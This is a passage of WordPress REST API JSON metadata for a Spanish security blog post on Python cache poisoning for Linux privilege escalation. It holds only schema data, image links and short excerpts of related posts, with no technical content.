Security","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/01\/19\/python-cache-poisoning-privesc-linux\/#primaryimage"},"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/01\/19\/python-cache-poisoning-privesc-linux\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/01\/hacking.png?fit=1536%2C1024&ssl=1","datePublished":"2026-01-19T22:54:52+00:00","dateModified":"2026-01-20T10:13:54+00:00","author":{"@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"description":"Python cache poisoning is a lesser-known but powerful technique that can lead to local privilege escalation (priv\u2011esc) in misconfigured...","breadcrumb":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/01\/19\/python-cache-poisoning-privesc-linux\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hardsoftsecurity.es\/index.php\/2026\/01\/19\/python-cache-poisoning-privesc-linux\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/01\/19\/python-cache-poisoning-privesc-linux\/#primaryimage","url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/01\/hacking.png?fit=1536%2C1024&ssl=1","contentUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/01\/hacking.png?fit=1536%2C1024&ssl=1","width":1536,"height":1024},{"@type":"BreadcrumbList","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/01\/19\/python-cache-poisoning-privesc-linux\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Portada","item":"https:\/\/hardsoftsecurity.es\/"},{"@type":"ListItem","position":2,"name":"Python Cache Poisoning &#8211; PrivEsc &#8211; Linux"}]},{"@type":"WebSite","@id":"https:\/\/hardsoftsecurity.es\/#website","url":"https:\/\/hardsoftsecurity.es\/","name":"Hardsoft Security","description":"Chasing (In)Security","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hardsoftsecurity.es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a","name":"david","image":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","caption":"david"}}]}},"jetpack_publicize_connections":[],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p7xGFx-10O","jetpack-related-posts":[{"id":2680,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2022\/03\/11\/privilege-escalation-linux-capability\/","url_meta":{"origin":3894,"position":0},"title":"Privilege Escalation &#8211; Linux Capability","author":"david","date":"marzo 11, 2022","format":false,"excerpt":"Hola a tod@s, hoy os traigo un nuevo caso pr\u00e1ctico el cual se requiere la demostraci\u00f3n de un escalado de privilegios en Linux, en mi caso he decidido seleccionar una t\u00e9cnica sugerida, la t\u00e9cnica a utilizar es la que aprovecha los \u201cLinux Capability\u201d. \u00bfQu\u00e9 es Linux Capability? \u201cLinux Capability\u201d forma\u2026","rel":"","context":"En \u00abSeguridad inform\u00e1tica\u00bb","block_context":{"text":"Seguridad inform\u00e1tica","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/seguridad-informatica\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2022\/03\/linux_encryption.png?fit=680%2C400&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2022\/03\/linux_encryption.png?fit=680%2C400&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2022\/03\/linux_encryption.png?fit=680%2C400&ssl=1&resize=525%2C300 1.5x"},"classes":[]},{"id":746,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2016\/02\/09\/generador-de-contrasenas-seguras-con-python\/","url_meta":{"origin":3894,"position":1},"title":"Generador De Contrase\u00f1as Seguras Con Python","author":"david","date":"febrero 9, 2016","format":false,"excerpt":"Esta vez os traigo un generador de contrase\u00f1as seguras de 10 d\u00edgitos, es un script basado en python. Aqu\u00ed muestro el funcionamiento del script, al final del post dejare el c\u00f3digo para el que lo quiera modificar. 1.- Paso: Le damos permisos al archivo que contenga nuestro c\u00f3digo. 2.- Paso:\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"python-logo-master-v3-TM","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2016\/02\/python-logo-master-v3-tm.png?resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2016\/02\/python-logo-master-v3-tm.png?resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2016\/02\/python-logo-master-v3-tm.png?resize=525%2C300 1.5x"},"classes":[]},{"id":3706,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/09\/27\/mssql-python-shell\/","url_meta":{"origin":3894,"position":2},"title":"MSSQL Python Shell","author":"david","date":"septiembre 27, 2024","format":false,"excerpt":"This post presents an enhanced Python script for interacting with Microsoft SQL Server using the\u00a0pymssql\u00a0library. This improved script is based on the original\u00a0MSSQL\u00a0Shell\u00a0Script\u00a0by Alamot. My modified version introduces the use of the more modern and maintained\u00a0pymssql\u00a0library and added functionality for file uploads, ensuring that commands and file transfers are handled\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/09\/image-1.png?fit=800%2C418&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/09\/image-1.png?fit=800%2C418&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/09\/image-1.png?fit=800%2C418&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/09\/image-1.png?fit=800%2C418&ssl=1&resize=700%2C400 2x"},"classes":[]},{"id":3003,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/","url_meta":{"origin":3894,"position":3},"title":"Hack The Box | Busqueda | Write UP","author":"david","date":"mayo 20, 2023","format":false,"excerpt":"Hey there, Cyber Warriors! \ud83d\ude80 Guess what? I recently had a wild ride with the Busqueda CTF challenge and I can't wait to share the adventure with you. This challenge was a real treat, pushing my skills and making me think on my feet. It's got everything: sneaky vulnerabilities, cool\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?fit=1200%2C627&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?fit=1200%2C627&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?fit=1200%2C627&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?fit=1200%2C627&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?fit=1200%2C627&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":2627,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2021\/11\/24\/script-dnsinfo\/","url_meta":{"origin":3894,"position":4},"title":"Script DNSInfo","author":"david","date":"noviembre 24, 2021","format":false,"excerpt":"Buenas tardes a tod@s, hoy os traigo un post algo diferente a lo habitual en el blog y es que esta vez os traigo un script en Python para extraer informaci\u00f3n p\u00fablica relacionada con el nombre de dominio, que he titulado DNSInfo. \u00bfPor qu\u00e9? Este Script, surge de la necesidad\u2026","rel":"","context":"En \u00abInformaci\u00f3n\u00bb","block_context":{"text":"Informaci\u00f3n","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/informacion\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2021\/11\/Information-Technology-Wallpaper-HD.jpg?fit=1200%2C300&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2021\/11\/Information-Technology-Wallpaper-HD.jpg?fit=1200%2C300&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2021\/11\/Information-Technology-Wallpaper-HD.jpg?fit=1200%2C300&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2021\/11\/Information-Technology-Wallpaper-HD.jpg?fit=1200%2C300&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2021\/11\/Information-Technology-Wallpaper-HD.jpg?fit=1200%2C300&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":2231,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2020\/12\/28\/ataque-combinado-phishing-rogueap-y-dns-spoofing\/","url_meta":{"origin":3894,"position":5},"title":"Ataque combinado, Phishing, RogueAP y DNS Spoofing.","author":"david","date":"diciembre 28, 2020","format":false,"excerpt":"Bienvenidos a un nuevo POST!, hoy os traigo una combinaci\u00f3n de ataques, phishing, rogueAP y DNS Spoofing. Estos \u00faltimos ataques mencionados en la introducci\u00f3n al post, los realizaremos con la herramienta ya conocida en el blog WifiPumpkin3, os dejo el enlace al post para las personas que no conozcan su\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2020\/12\/8E3510C0-AC12-465F-B18A-4F179CA80D4B.jpeg?fit=1200%2C901&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2020\/12\/8E3510C0-AC12-465F-B18A-4F179CA80D4B.jpeg?fit=1200%2C901&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2020\/12\/8E3510C0-AC12-465F-B18A-4F179CA80D4B.jpeg?fit=1200%2C901&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2020\/12\/8E3510C0-AC12-465F-B18A-4F179CA80D4B.jpeg?fit=1200%2C901&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2020\/12\/8E3510C0-AC12-465F-B18A-4F179CA80D4B.jpeg?fit=1200%2C901&ssl=1&resize=1050%2C600 3x"},"classes":[]}],"jetpack_likes_enabled":true,"jetpack_featured_media_url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/01\/hacking.png?fit=1536%2C1024&ssl=1","_links":{"self":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3894","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/comments?post=3894"}],"version-history":[{"count":1,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3894\/revisions"}],"predecessor-version":[{"id":3896,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3894\/revisions\/3896"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media\/3895"}],"wp:attachment":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media?parent=3894"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/categories?post=3894"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/tags?post=3894"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}